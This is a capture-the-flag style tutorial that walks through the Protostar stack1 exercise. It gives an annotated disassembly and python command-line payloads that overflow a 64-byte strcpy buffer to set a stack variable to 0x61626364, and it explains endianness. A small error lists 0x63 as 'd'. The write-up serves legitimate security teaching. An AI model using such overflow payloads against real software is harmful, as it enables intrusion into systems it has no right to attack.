Last time we discovered how bad can stack overflows be. This presents another way for the user to inject malicious data into a program: program arguments.
Static analysis
root@protostar:/opt/protostar/bin# file stack1
stack1: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
Let's have a look at the strings
:
root@protostar:/opt/protostar/bin# strings stack1 | tail -n3
please specify an argument
you have correctly got the variable to the right value
Try again, you got 0x%08x
Now we're going to take a look at the code and document the objdump output.
8048464: 55 push ebp
8048465: 89 e5 mov ebp,esp
8048467: 83 e4 f0 and esp,0xfffffff0
804846a: 83 ec 60 sub esp,0x60
804846d: 83 7d 08 01 cmp DWORD PTR [ebp+0x8],0x1 ; argc == 1
8048471: 75 14 jne 8048487 <main+0x23>
8048473: c7 44 24 04 a0 85 04 mov DWORD PTR [esp+0x4],0x80485a0 ; please specify an argument
804847a: 08
804847b: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1 ; exit failure code
8048482: e8 01 ff ff ff call 8048388 <errx@plt> ; errx(1, "please spec...");
8048487: c7 44 24 5c 00 00 00 mov DWORD PTR [esp+0x5c],0x0 ; init variable to 0x0
804848e: 00
804848f: 8b 45 0c mov eax,DWORD PTR [ebp+0xc] ; load *argv into eax
8048492: 83 c0 04 add eax,0x4 ; increment argv pointer (poitner size is 4 here)
8048495: 8b 00 mov eax,DWORD PTR [eax] ; eax now points to argv[1]
8048497: 89 44 24 04 mov DWORD PTR [esp+0x4],eax ; save on stack (relative stack pointer) for argument passing
804849b: 8d 44 24 1c lea eax,[esp+0x1c] ; load our stack buffer into eax
804849f: 89 04 24 mov DWORD PTR [esp],eax ; save on stack
80484a2: e8 c1 fe ff ff call 8048368 <strcpy@plt> ; strcpy(buffer, argv[1]);
80484a7: 8b 44 24 5c mov eax,DWORD PTR [esp+0x5c] ; load inited variable at 0x8048487
80484ab: 3d 64 63 62 61 cmp eax,0x61626364 ; compare mystery variable to 0x61626364
80484b0: 75 0e jne 80484c0 <main+0x5c>
80484b2: c7 04 24 bc 85 04 08 mov DWORD PTR [esp],0x80485bc ; load goodboy message on stack
80484b9: e8 da fe ff ff call 8048398 <puts@plt> ; puts("you hace correctly...");
80484be: eb 15 jmp 80484d5 <main+0x71> ; gtfo
80484c0: 8b 54 24 5c mov edx,DWORD PTR [esp+0x5c] ; load mystery variable
80484c4: b8 f3 85 04 08 mov eax,0x80485f3 ; load badboy message
80484c9: 89 54 24 04 mov DWORD PTR [esp+0x4],edx ; push mystery variable on stack
80484cd: 89 04 24 mov DWORD PTR [esp],eax ; push badboy message on stack
80484d0: e8 a3 fe ff ff call 8048378 <printf@plt> ; printf("Try again, you got 0X%08x", mystery);
80484d5: c9 leave ; gtfo
80484d6: c3 ret
Ok, so it gets a bit more complicated than the previous one.
First we have a check against program argument count: we must provide an argument.
This argument is loaded into a 64 bytes long buffer using strcpy
.
Finally, we can resolve the challenge by modifying the stack variable from 0x0
to 0x61626364
.
The vulnerability here is in strcpy
. Again, let's read the manual:
The strings may not overlap, and the destination string dest must be large enough to receive the copy.
That means, the destination buffer of strcpy
is subject to overflow. The target variable is living just behind so we should be able to write an arbitrary value there.
The value we want to write is 0x61626364
, it is four bytes long (like an int here): 0x61 0x62 0x63 0x64
.
Each character of our overflow is encoded using one byte, so with four of them we might be able to match the required int 0x61626364
.
The ascii tables gives us the characters associated with each of the bytes composing the mystery value:
- 0x61 'a'
- 0x62 'b'
- 0x63 'c'
- 0x63 'd'
Exploitation
First let's validate our understanding of the program:
root@protostar:/opt/protostar/bin# ./stack1 # no argument
stack1: please specify an argument
root@protostar:/opt/protostar/bin# ./stack1 $(python -c 'print "A" * 42')
Try again, you got 0x00000000
Alright, we have the error message. Now let's validate the 64 bytes buffer overflow:
root@protostar:/opt/protostar/bin# ./stack1 $(python -c 'print "A" * 64')
Try again, you got 0x00000000
root@protostar:/opt/protostar/bin# ./stack1 $(python -c 'print "A" * 65')
Try again, you got 0x00000041
Awesome, now let's try with our chars 'abcd':
root@protostar:/opt/protostar/bin# ./stack1 $(python -c 'print "A" * 64 + "abcd"')
Try again, you got 0x64636261
Wait? What? It looks like our bytes got reversed in the process?
This behaviour depends on how which order the system is supposed to read memory chunks. This is call endianess. Our system here is using little-endian (LE). All we have to do is reverse our four last characters!
root@protostar:/opt/protostar/bin# ./stack1 $(python -c 'print "A" * 64 + "dcba"')
you have correctly got the variable to the right value
Have fun!
Links
- challenge source: https://exploit-exercises.lains.space/protostar/stack1/
- argc && argv on x86: http://courses.cs.vt.edu/cs2505/fall2014/Notes/T21_x86CLParameters.pdf
- passing argument via stack: https://en.wikipedia.org/wiki/X86_calling_conventions#List_of_x86_calling_conventions
- endianess: https://en.wikipedia.org/wiki/Endianness
Top comments (0)